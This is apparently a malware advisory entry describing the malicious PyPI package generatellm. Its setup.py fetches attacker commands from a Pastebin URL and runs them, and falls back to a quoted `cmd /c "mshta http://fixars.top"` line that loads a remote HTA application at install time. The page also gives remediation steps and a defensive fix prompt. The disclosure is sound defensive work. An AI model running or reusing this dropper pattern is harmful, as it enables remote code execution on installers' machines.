# MAL-2026-5773: Malicious code in generatellm (PyPI)


- **Type:** Malicious package
- **Package:** `generatellm` (PyPI)
- **Published:** 14 Jun 2026

## What is MAL-2026-5773?

MAL-2026-5773 is a malicious package in generatellm, published on 14 Jun 2026. 

### Official description

GenerateLLM 2.23 is a hollow PyPI package (placeholder metadata, no functional code under src/, only an egg-info directory) whose entire payload is an install-time remote code execution dropper. setup.py at lines 31-35 fetches https://pastebin.com/raw/yBcUM1QB, takes the first line of the response, and passes it directly to os.system via `cmd /c "{cmd_pastebin}"`, executing arbitrary attacker-controlled commands on the installer's machine. If the Pastebin fetch fails, setup.py line 38 falls back to `os.system('cmd /c "mshta http://fixars.top"')`, abusing the Windows mshta.exe LOLBin to load and execute a remote HTA application from an unrelated, non-publisher, plain-HTTP domain. Both branches fire automatically during `pip install GenerateLLM` with no user interaction. The Pastebin URL is mutable and anonymous, so the executed command can be changed by the attacker at any time without republishing the package. The generic LLM-themed name with no real author identity is consistent with namespace-squatting designed to lure developers searching for LLM tooling.

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

 - Downloads and executes a remote executable.

 - obfuscation

 - malware

 - tool:mshta

## What should I do about MAL-2026-5773?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5773 is a malicious package: generatellm (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5773/ (Markdown: https://insights.sbomify.com/MAL-2026-5773/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5773

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5773/
Summaries are generated and may contain mistakes; the official description above is the record.